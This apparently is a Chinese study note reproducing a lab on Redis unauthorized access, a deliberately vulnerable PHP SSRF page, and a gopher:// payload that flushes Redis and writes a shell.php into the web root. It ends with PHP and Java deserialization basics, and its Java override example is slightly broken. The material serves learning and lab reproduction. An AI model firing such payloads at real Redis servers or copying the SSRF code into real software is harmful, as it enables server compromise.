首页 / 笔记
发表于,更新于

Redis未授权漏洞和PHP反序列化

1、centos系统安装http,php,redis服务

首先配置一下centos7的网卡和下载源
配置网卡信息
2024-04-08T02:46:18.png
2024-04-08T02:46:35.png
然后重启网络服务
2024-04-08T02:46:48.png
删掉官方的yum源,安装一个新的yum源
安装阿里云的一个yum源

wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

2024-04-08T02:47:03.png

更新一下安装目录

yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm

2024-04-08T02:50:10.png

安装redis

yum install redis -y

2024-04-08T02:50:24.png
安装好之后安装一下httpd服务

yum install httpd -y

![image.png](https://cdn.nlark.com/yuque/0/2024/png/26710362/1710146957668-2ab820e5-251c-4924-9230-4a368c506f59.png#averageHue=%23406e3d&clientId=ub3a4a175-1592-4&from=paste&height=785&id=u310be735&originHeight=785&originWidth=1320&originalType=binary&ratio=1&rotation=0&showTitle=false&size=294096&status=done&style=shadow&taskId=ueaa39bbd-a150-4fca-bfce-067895f4e64&title=&width=1320)
http默认的根路径:/var/www/html
安装PHP环境

yum install php -y

在网站根目录下写一个简单的hello
2024-04-08T02:51:15.png
2024-04-08T02:51:23.png
启动一下redis
2024-04-08T02:51:31.png

2、使用redis未授权漏洞写入phpinfo

redis服务的端口:6379
可以使用相应的客户端进行连接,也可以使用nc进行监听连接
2024-04-08T02:52:07.png
监听成功了
没有账户和密码就连接成功了
设置一个目录
2024-04-08T02:52:16.png
再创建一个文件
2024-04-08T02:52:34.png
写入内容并保存退出
2024-04-08T02:52:50.png
此时访问,写入文件成功
2024-04-08T02:53:04.png

3、配合gopher协议ssrf漏洞向服务器写入任意数据

修改一下index文件中的内容,写入一个ssrf漏洞

<?php
if (isset($_REQUEST['url']))
{
$link = $_REQUEST['url'];
$filename = './curled/'.time().'.txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>

2024-04-08T02:53:30.png
2024-04-08T02:53:44.png
ssrf漏洞读取文件
2024-04-08T02:53:54.png
尝试写入内容

curl -v "gopher://127.0.0.1:6379/_aaa%0A%0Aflushall%0A%0Aconfig%20set%20dir%20/var/www/html%0A%0Aconfig%20set%20dbfilename%20shell.php%0A%0Aset%20'webshell'%20'%3C?php%20phpinfo();?%3E'%0A%0Asave%0A%0Aquit%0A%0Abbb"

2024-04-08T02:54:10.png
2024-04-08T02:54:24.png
写入成功,可惜没执行(这里先不深究了)
2024-04-08T02:54:38.png

4、演示ssh免密码登录

在server上安装一个git
2024-04-08T02:55:07.png
2024-04-08T02:55:15.png
在centos7中也触发生成一个.ssh文件
2024-04-08T02:55:27.png
在.ssh文件夹下新建一个文件
2024-04-08T02:55:37.png
把server中生成的公钥写入到centos7中
然后在server中git命令行中实现免密登录
2024-04-08T02:55:49.png

5、画图解释PHP反序列化漏洞的原理

序列化就是把对象的成员变量转换为可以保存的和传输的字符串的过程,而反序列化就是把字符串再转换为原来的对象的变量,而这两个过程就很好的做到存储和传输数据。而序列化和反序列化分别通过函数serialize()和unserialize()来实现。
一些实战中的一些魔术方法。

  • __construct(),类的构造函数
  • __destruct(),类的析构函数
  • __call(),在对象中调用一个不可访问方法时调用
  • __get(),访问一个不存在的成员变量或访问一个private和protected成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()或empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数

2024-04-08T02:56:01.png

6、预习java反序列化漏洞,包括继承,重写等概念

序列化和反序列化

序列化:将程序运行时所需要的Java对象转化为字节序列并存储在文件系统中,一般为.ser后缀的文件,ObjectOutputStream.writeObject()方法可以将对象序列化。
反序列化:将存储在文件系统的字节序列转化成对象供程序使用,ObjectInputStream.readObject()方法可以将字节序列转化成对象。
可序列化的类必须继承 java.io.Serializable;序列化机制使对象得以脱离程序之外独立存在。

Java的序列化就是将对象转化为一个二进制的字节流的过程,该字节序列包含该对象的属性和方法;反序列化顾名思义就是将对象字节流转化为对象,而序列化时需要使用writeObject将对象转化为字节流,反序列化需要使用readObject将字节流转化为对象。

Java反序列化漏洞其原理也是因为对用户的输入没有做严格的过滤,导致用户可传入精心构造的字节流

继承

创建一个test类,主函数写在这个类里,在这里初始化name和age两个变量并且调用person类和student类中的方法来实现输出

public class test {
    public static void main(String[] args) {
        student stu = new student();
        stu.name = "sev1n";
        stu.age = 22;
        stu.showNmae();
        stu.showAge();
    }
}

创建一个person类,作为父类,写入一个student类做子类来继承person类的成员name,student只创建一个age成员

public class person {
    String name;
    public void showNmae(){
        System.out.println("my name is "+name);
    }
}

class student extends person{
    int age;
    public void showAge(){
        System.out.println("I am "+age+" years old");
    }
}

2024-04-08T02:56:17.png
我们在student中创建的变量stu,但是在使用showName方法时成功了,也就是student类继承了person类的方法(继承的关键字extends)

重写

在继承关系中,子类会自动继承父类中定义的方法,但有时在子类中需要对继承的方法进行一些修改,即对父类的方法进行重写。在子类中重写的方法需要和父类被重写的方法具有相同的方法名、参数列表以及返回值类型。

public class test1 {
    public static void main(String[] args) {
        cat mimi = new cat();
        mimi.shout();
    }
}

class Animal{
    void shout(){
        System.out.println("123");
    }
}

class cat{
    void shout(){
        System.out.println("miaomiao");
    }
}

2024-04-08T02:56:31.png
在重写之前调用shout方法应该输出123,重写之后输出miaomiao

标签: 笔记, 漏洞复现

许可协议

本文作者 , 采用 CC-BY-SA-4.0 许可协议,转载请注明出处。

上一篇 sql注入防御

添加新评论